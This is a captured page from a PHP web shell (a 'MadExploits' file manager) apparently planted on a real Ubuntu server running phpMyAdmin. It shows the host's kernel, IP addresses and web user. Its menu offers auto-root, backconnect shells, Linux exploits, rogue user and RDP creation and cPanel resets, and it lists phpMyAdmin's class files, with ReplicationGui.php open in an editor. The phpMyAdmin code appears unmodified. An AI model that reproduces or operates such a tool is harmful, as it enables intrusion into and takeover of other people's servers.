Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Advisor.php
12.22
KB
-rw-r--r--
Bookmark.php
10.69
KB
-rw-r--r--
BrowseForeigners.php
10.82
KB
-rw-r--r--
Charsets.php
7.1
KB
-rw-r--r--
CheckUserPrivileges.php
11.94
KB
-rw-r--r--
Config.php
45.37
KB
-rw-r--r--
Console.php
3.38
KB
-rw-r--r--
Core.php
42.33
KB
-rw-r--r--
CreateAddField.php
17.57
KB
-rw-r--r--
DatabaseInterface.php
75
KB
-rw-r--r--
DbTableExists.php
3.21
KB
-rw-r--r--
Encoding.php
8.51
KB
-rw-r--r--
Error.php
13.97
KB
-rw-r--r--
ErrorHandler.php
17.15
KB
-rw-r--r--
ErrorReport.php
9.14
KB
-rw-r--r--
Export.php
46.24
KB
-rw-r--r--
File.php
21.28
KB
-rw-r--r--
FileListing.php
2.85
KB
-rw-r--r--
Font.php
5.58
KB
-rw-r--r--
Footer.php
10.54
KB
-rw-r--r--
Git.php
17.95
KB
-rw-r--r--
Header.php
21.45
KB
-rw-r--r--
Import.php
57.46
KB
-rw-r--r--
Index.php
15.07
KB
-rw-r--r--
IndexColumn.php
4.23
KB
-rw-r--r--
InsertEdit.php
130.18
KB
-rw-r--r--
InternalRelations.php
17.31
KB
-rw-r--r--
IpAllowDeny.php
9.76
KB
-rw-r--r--
Language.php
4.46
KB
-rw-r--r--
LanguageManager.php
23.96
KB
-rw-r--r--
Linter.php
5.25
KB
-rw-r--r--
ListAbstract.php
1.77
KB
-rw-r--r--
ListDatabase.php
4.3
KB
-rw-r--r--
Logging.php
2.72
KB
-rw-r--r--
Menu.php
21.3
KB
-rw-r--r--
Message.php
19.09
KB
-rw-r--r--
Mime.php
916
B
-rw-r--r--
Normalization.php
41.48
KB
-rw-r--r--
OpenDocument.php
8.42
KB
-rw-r--r--
Operations.php
37.84
KB
-rw-r--r--
OutputBuffering.php
3.98
KB
-rw-r--r--
ParseAnalyze.php
2.37
KB
-rw-r--r--
Partition.php
7.17
KB
-rw-r--r--
Pdf.php
4.34
KB
-rw-r--r--
Plugins.php
25.18
KB
-rw-r--r--
Profiling.php
2.26
KB
-rw-r--r--
RecentFavoriteTable.php
12.01
KB
-rw-r--r--
Relation.php
77.39
KB
-rw-r--r--
RelationCleanup.php
14.7
KB
-rw-r--r--
Replication.php
4.73
KB
-rw-r--r--
ReplicationGui.php
21.52
KB
-rw-r--r--
ReplicationInfo.php
4.83
KB
-rw-r--r--
Response.php
16.47
KB
-rw-r--r--
Routing.php
5.71
KB
-rw-r--r--
Sanitize.php
12.13
KB
-rw-r--r--
SavedSearches.php
11.93
KB
-rw-r--r--
Scripts.php
3.64
KB
-rw-r--r--
Session.php
8.01
KB
-rw-r--r--
Sql.php
66.67
KB
-rw-r--r--
SqlQueryForm.php
7.12
KB
-rw-r--r--
StorageEngine.php
12.53
KB
-rw-r--r--
SubPartition.php
3.32
KB
-rw-r--r--
SystemDatabase.php
3.66
KB
-rw-r--r--
Table.php
95.67
KB
-rw-r--r--
TablePartitionDefinition.php
6.51
KB
-rw-r--r--
Template.php
3.87
KB
-rw-r--r--
Theme.php
8.76
KB
-rw-r--r--
ThemeManager.php
9.58
KB
-rw-r--r--
Tracker.php
29.78
KB
-rw-r--r--
Tracking.php
37.25
KB
-rw-r--r--
Transformations.php
16.29
KB
-rw-r--r--
TwoFactor.php
6.8
KB
-rw-r--r--
Types.php
25.2
KB
-rw-r--r--
Url.php
8.76
KB
-rw-r--r--
UserPassword.php
7.11
KB
-rw-r--r--
UserPreferences.php
8.45
KB
-rw-r--r--
Util.php
102.31
KB
-rw-r--r--
Version.php
533
B
-rw-r--r--
VersionInformation.php
7.15
KB
-rw-r--r--
ZipExtension.php
10.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ReplicationGui.php
<?php /** * Functions for the replication GUI */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Query\Utilities; use function htmlspecialchars; use function in_array; use function is_array; use function mb_strrpos; use function mb_strtolower; use function mb_substr; use function sprintf; use function str_replace; use function strlen; use function strtok; use function time; /** * Functions for the replication GUI */ class ReplicationGui { /** @var Replication */ private $replication; /** @var Template */ private $template; /** * @param Replication $replication Replication instance * @param Template $template Template instance */ public function __construct(Replication $replication, Template $template) { $this->replication = $replication; $this->template = $template; } /** * returns HTML for error message * * @return string HTML code */ public function getHtmlForErrorMessage() { $html = ''; if (isset($_SESSION['replication']['sr_action_status'], $_SESSION['replication']['sr_action_info'])) { if ($_SESSION['replication']['sr_action_status'] === 'error') { $error_message = $_SESSION['replication']['sr_action_info']; $html .= Message::error($error_message)->getDisplay(); $_SESSION['replication']['sr_action_status'] = 'unknown'; } elseif ($_SESSION['replication']['sr_action_status'] === 'success') { $success_message = $_SESSION['replication']['sr_action_info']; $html .= Message::success($success_message)->getDisplay(); $_SESSION['replication']['sr_action_status'] = 'unknown'; } } return $html; } /** * returns HTML for master replication * * @return string HTML code */ public function getHtmlForMasterReplication() { global $dbi; if (! isset($_POST['repl_clear_scr'])) { $masterStatusTable = $this->getHtmlForReplicationStatusTable('master', true, false); $slaves = $dbi->fetchResult('SHOW SLAVE HOSTS', null, null); $urlParams = $GLOBALS['url_params']; $urlParams['mr_adduser'] = true; $urlParams['repl_clear_scr'] = true; } if (isset($_POST['mr_adduser'])) { $masterAddSlaveUser = $this->getHtmlForReplicationMasterAddSlaveUser(); } return $this->template->render('server/replication/master_replication', [ 'clear_screen' => isset($_POST['repl_clear_scr']), 'master_status_table' => $masterStatusTable ?? '', 'slaves' => $slaves ?? [], 'url_params' => $urlParams ?? [], 'master_add_user' => isset($_POST['mr_adduser']), 'master_add_slave_user' => $masterAddSlaveUser ?? '', ]); } /** * returns HTML for master replication configuration * * @return string HTML code */ public function getHtmlForMasterConfiguration() { $databaseMultibox = $this->getHtmlForReplicationDbMultibox(); return $this->template->render( 'server/replication/master_configuration', ['database_multibox' => $databaseMultibox] ); } /** * returns HTML for slave replication configuration * * @param bool $serverSlaveStatus Whether it is Master or Slave * @param array $serverSlaveReplication Slave replication * * @return string HTML code */ public function getHtmlForSlaveConfiguration( $serverSlaveStatus, array $serverSlaveReplication ) { global $dbi; $serverSlaveMultiReplication = $dbi->fetchResult( 'SHOW ALL SLAVES STATUS' ); if ($serverSlaveStatus) { $urlParams = $GLOBALS['url_params']; $urlParams['sr_take_action'] = true; $urlParams['sr_slave_server_control'] = true; if ($serverSlaveReplication[0]['Slave_IO_Running'] === 'No') { $urlParams['sr_slave_action'] = 'start'; } else { $urlParams['sr_slave_action'] = 'stop'; } $urlParams['sr_slave_control_parm'] = 'IO_THREAD'; $slaveControlIoLink = Url::getCommon($urlParams, ''); if ($serverSlaveReplication[0]['Slave_SQL_Running'] === 'No') { $urlParams['sr_slave_action'] = 'start'; } else { $urlParams['sr_slave_action'] = 'stop'; } $urlParams['sr_slave_control_parm'] = 'SQL_THREAD'; $slaveControlSqlLink = Url::getCommon($urlParams, ''); if ($serverSlaveReplication[0]['Slave_IO_Running'] === 'No' || $serverSlaveReplication[0]['Slave_SQL_Running'] === 'No' ) { $urlParams['sr_slave_action'] = 'start'; } else { $urlParams['sr_slave_action'] = 'stop'; } $urlParams['sr_slave_control_parm'] = null; $slaveControlFullLink = Url::getCommon($urlParams, ''); $urlParams['sr_slave_action'] = 'reset'; $slaveControlResetLink = Url::getCommon($urlParams, ''); $urlParams = $GLOBALS['url_params']; $urlParams['sr_take_action'] = true; $urlParams['sr_slave_skip_error'] = true; $slaveSkipErrorLink = Url::getCommon($urlParams, ''); $urlParams = $GLOBALS['url_params']; $urlParams['sl_configure'] = true; $urlParams['repl_clear_scr'] = true; $reconfigureMasterLink = Url::getCommon($urlParams, ''); $slaveStatusTable = $this->getHtmlForReplicationStatusTable('slave', true, false); $slaveIoRunning = $serverSlaveReplication[0]['Slave_IO_Running'] !== 'No'; $slaveSqlRunning = $serverSlaveReplication[0]['Slave_SQL_Running'] !== 'No'; } return $this->template->render('server/replication/slave_configuration', [ 'server_slave_multi_replication' => $serverSlaveMultiReplication, 'url_params' => $GLOBALS['url_params'], 'master_connection' => $_POST['master_connection'] ?? '', 'server_slave_status' => $serverSlaveStatus, 'slave_status_table' => $slaveStatusTable ?? '', 'slave_sql_running' => $slaveSqlRunning ?? false, 'slave_io_running' => $slaveIoRunning ?? false, 'slave_control_full_link' => $slaveControlFullLink ?? '', 'slave_control_reset_link' => $slaveControlResetLink ?? '', 'slave_control_sql_link' => $slaveControlSqlLink ?? '', 'slave_control_io_link' => $slaveControlIoLink ?? '', 'slave_skip_error_link' => $slaveSkipErrorLink ?? '', 'reconfigure_master_link' => $reconfigureMasterLink ?? '', 'has_slave_configure' => isset($_POST['sl_configure']), ]); } /** * returns HTML code for selecting databases * * @return string HTML code */ public function getHtmlForReplicationDbMultibox() { $databases = []; foreach ($GLOBALS['dblist']->databases as $database) { if (Utilities::isSystemSchema($database)) { continue; } $databases[] = $database; } return $this->template->render('server/replication/database_multibox', ['databases' => $databases]); } /** * returns HTML for changing master * * @param string $submitName submit button name * * @return string HTML code */ public function getHtmlForReplicationChangeMaster($submitName) { [ $usernameLength, $hostnameLength, ] = $this->getUsernameHostnameLength(); return $this->template->render('server/replication/change_master', [ 'server_id' => time(), 'username_length' => $usernameLength, 'hostname_length' => $hostnameLength, 'submit_name' => $submitName, ]); } /** * This function returns html code for table with replication status. * * @param string $type either master or slave * @param bool $isHidden if true, then default style is set to hidden, * default value false * @param bool $hasTitle if true, then title is displayed, default true * * @return string HTML code */ public function getHtmlForReplicationStatusTable( $type, $isHidden = false, $hasTitle = true ): string { global $dbi; $replicationInfo = new ReplicationInfo($dbi); $replicationInfo->load($_POST['master_connection'] ?? null); $replicationVariables = $replicationInfo->primaryVariables; $variablesAlerts = null; $variablesOks = null; $serverReplication = $replicationInfo->getPrimaryStatus(); if ($type === 'slave') { $replicationVariables = $replicationInfo->replicaVariables; $variablesAlerts = [ 'Slave_IO_Running' => 'No', 'Slave_SQL_Running' => 'No', ]; $variablesOks = [ 'Slave_IO_Running' => 'Yes', 'Slave_SQL_Running' => 'Yes', ]; $serverReplication = $replicationInfo->getReplicaStatus(); } $variables = []; foreach ($replicationVariables as $variable) { $serverReplicationVariable = is_array($serverReplication) && isset($serverReplication[0]) ? $serverReplication[0][$variable] : ''; $variables[$variable] = [ 'name' => $variable, 'status' => '', 'value' => $serverReplicationVariable, ]; if (isset($variablesAlerts[$variable]) && $variablesAlerts[$variable] === $serverReplicationVariable ) { $variables[$variable]['status'] = 'attention'; } elseif (isset($variablesOks[$variable]) && $variablesOks[$variable] === $serverReplicationVariable ) { $variables[$variable]['status'] = 'allfine'; } $variablesWrap = [ 'Replicate_Do_DB', 'Replicate_Ignore_DB', 'Replicate_Do_Table', 'Replicate_Ignore_Table', 'Replicate_Wild_Do_Table', 'Replicate_Wild_Ignore_Table', ]; if (! in_array($variable, $variablesWrap)) { continue; } $variables[$variable]['value'] = str_replace( ',', ', ', $serverReplicationVariable ); } return $this->template->render('server/replication/status_table', [ 'type' => $type, 'is_hidden' => $isHidden, 'has_title' => $hasTitle, 'variables' => $variables, ]); } /** * get the correct username and hostname lengths for this MySQL server * * @return array username length, hostname length */ public function getUsernameHostnameLength() { global $dbi; $fields_info = $dbi->getColumns('mysql', 'user'); $username_length = 16; $hostname_length = 41; foreach ($fields_info as $val) { if ($val['Field'] === 'User') { strtok($val['Type'], '()'); $v = strtok('()'); if (Util::isInteger($v)) { $username_length = (int) $v; } } elseif ($val['Field'] === 'Host') { strtok($val['Type'], '()'); $v = strtok('()'); if (Util::isInteger($v)) { $hostname_length = (int) $v; } } } return [ $username_length, $hostname_length, ]; } /** * returns html code to add a replication slave user to the master * * @return string HTML code */ public function getHtmlForReplicationMasterAddSlaveUser() { global $dbi; [ $usernameLength, $hostnameLength, ] = $this->getUsernameHostnameLength(); if (isset($_POST['username']) && strlen($_POST['username']) === 0) { $GLOBALS['pred_username'] = 'any'; } $username = ''; if (! empty($_POST['username'])) { $username = $GLOBALS['new_username'] ?? $_POST['username']; } $currentUser = $dbi->fetchValue('SELECT USER();'); if (! empty($currentUser)) { $userHost = str_replace( "'", '', mb_substr( $currentUser, mb_strrpos($currentUser, '@') + 1 ) ); if ($userHost !== 'localhost' && $userHost !== '127.0.0.1') { $thisHost = $userHost; } } // when we start editing a user, $GLOBALS['pred_hostname'] is not defined if (! isset($GLOBALS['pred_hostname']) && isset($_POST['hostname'])) { switch (mb_strtolower($_POST['hostname'])) { case 'localhost': case '127.0.0.1': $GLOBALS['pred_hostname'] = 'localhost'; break; case '%': $GLOBALS['pred_hostname'] = 'any'; break; default: $GLOBALS['pred_hostname'] = 'userdefined'; break; } } return $this->template->render('server/replication/master_add_slave_user', [ 'username_length' => $usernameLength, 'hostname_length' => $hostnameLength, 'has_username' => isset($_POST['username']), 'username' => $username, 'hostname' => $_POST['hostname'] ?? '', 'predefined_username' => $GLOBALS['pred_username'] ?? '', 'predefined_hostname' => $GLOBALS['pred_hostname'] ?? '', 'this_host' => $thisHost ?? null, ]); } /** * handle control requests * * @return void */ public function handleControlRequest() { if (! isset($_POST['sr_take_action'])) { return; } $refresh = false; $result = false; $messageSuccess = ''; $messageError = ''; if (isset($_POST['slave_changemaster']) && ! $GLOBALS['cfg']['AllowArbitraryServer']) { $_SESSION['replication']['sr_action_status'] = 'error'; $_SESSION['replication']['sr_action_info'] = __( 'Connection to server is disabled, please enable' . ' $cfg[\'AllowArbitraryServer\'] in phpMyAdmin configuration.' ); } elseif (isset($_POST['slave_changemaster'])) { $result = $this->handleRequestForSlaveChangeMaster(); } elseif (isset($_POST['sr_slave_server_control'])) { $result = $this->handleRequestForSlaveServerControl(); $refresh = true; switch ($_POST['sr_slave_action']) { case 'start': $messageSuccess = __('Replication started successfully.'); $messageError = __('Error starting replication.'); break; case 'stop': $messageSuccess = __('Replication stopped successfully.'); $messageError = __('Error stopping replication.'); break; case 'reset': $messageSuccess = __('Replication resetting successfully.'); $messageError = __('Error resetting replication.'); break; default: $messageSuccess = __('Success.'); $messageError = __('Error.'); break; } } elseif (isset($_POST['sr_slave_skip_error'])) { $result = $this->handleRequestForSlaveSkipError(); } if ($refresh) { $response = Response::getInstance(); if ($response->isAjax()) { $response->setRequestStatus($result); $response->addJSON( 'message', $result ? Message::success($messageSuccess) : Message::error($messageError) ); } else { Core::sendHeaderLocation( './index.php?route=/server/replication' . Url::getCommonRaw($GLOBALS['url_params'], '&') ); } } unset($refresh); } /** * handle control requests for Slave Change Master * * @return bool */ public function handleRequestForSlaveChangeMaster() { /** @var DatabaseInterface $dbi */ global $dbi; $sr = [ 'username' => $dbi->escapeString($_POST['username']), 'pma_pw' => $dbi->escapeString($_POST['pma_pw']), 'hostname' => $dbi->escapeString($_POST['hostname']), 'port' => (int) $dbi->escapeString($_POST['text_port']), ]; $_SESSION['replication']['m_username'] = $sr['username']; $_SESSION['replication']['m_password'] = $sr['pma_pw']; $_SESSION['replication']['m_hostname'] = $sr['hostname']; $_SESSION['replication']['m_port'] = $sr['port']; $_SESSION['replication']['m_correct'] = ''; $_SESSION['replication']['sr_action_status'] = 'error'; $_SESSION['replication']['sr_action_info'] = __('Unknown error'); // Attempt to connect to the new master server $link_to_master = $this->replication->connectToMaster( $sr['username'], $sr['pma_pw'], $sr['hostname'], $sr['port'] ); if (! $link_to_master) { $_SESSION['replication']['sr_action_status'] = 'error'; $_SESSION['replication']['sr_action_info'] = sprintf( __('Unable to connect to master %s.'), htmlspecialchars($sr['hostname']) ); } else { // Read the current master position $position = $this->replication->slaveBinLogMaster(DatabaseInterface::CONNECT_AUXILIARY); if (empty($position)) { $_SESSION['replication']['sr_action_status'] = 'error'; $_SESSION['replication']['sr_action_info'] = __( 'Unable to read master log position. ' . 'Possible privilege problem on master.' ); } else { $_SESSION['replication']['m_correct'] = true; if (! $this->replication->slaveChangeMaster( $sr['username'], $sr['pma_pw'], $sr['hostname'], $sr['port'], $position, true, false, DatabaseInterface::CONNECT_USER ) ) { $_SESSION['replication']['sr_action_status'] = 'error'; $_SESSION['replication']['sr_action_info'] = __('Unable to change master!'); } else { $_SESSION['replication']['sr_action_status'] = 'success'; $_SESSION['replication']['sr_action_info'] = sprintf( __('Master server changed successfully to %s.'), htmlspecialchars($sr['hostname']) ); } } } return $_SESSION['replication']['sr_action_status'] === 'success'; } /** * handle control requests for Slave Server Control * * @return bool */ public function handleRequestForSlaveServerControl() { global $dbi; if (empty($_POST['sr_slave_control_parm'])) { $_POST['sr_slave_control_parm'] = null; } if ($_POST['sr_slave_action'] === 'reset') { $qStop = $this->replication->slaveControl('STOP', null, DatabaseInterface::CONNECT_USER); $qReset = $dbi->tryQuery('RESET SLAVE;'); $qStart = $this->replication->slaveControl('START', null, DatabaseInterface::CONNECT_USER); $result = $qStop !== false && $qStop !== -1 && $qReset !== false && $qReset !== -1 && $qStart !== false && $qStart !== -1; } else { $qControl = $this->replication->slaveControl( $_POST['sr_slave_action'], $_POST['sr_slave_control_parm'], DatabaseInterface::CONNECT_USER ); $result = $qControl !== false && $qControl !== -1; } return $result; } /** * handle control requests for Slave Skip Error * * @return bool */ public function handleRequestForSlaveSkipError() { global $dbi; $count = 1; if (isset($_POST['sr_skip_errors_count'])) { $count = $_POST['sr_skip_errors_count'] * 1; } $qStop = $this->replication->slaveControl('STOP', null, DatabaseInterface::CONNECT_USER); $qSkip = $dbi->tryQuery( 'SET GLOBAL SQL_SLAVE_SKIP_COUNTER = ' . $count . ';' ); $qStart = $this->replication->slaveControl('START', null, DatabaseInterface::CONNECT_USER); return $qStop !== false && $qStop !== -1 && $qSkip !== false && $qSkip !== -1 && $qStart !== false && $qStart !== -1; } }
Close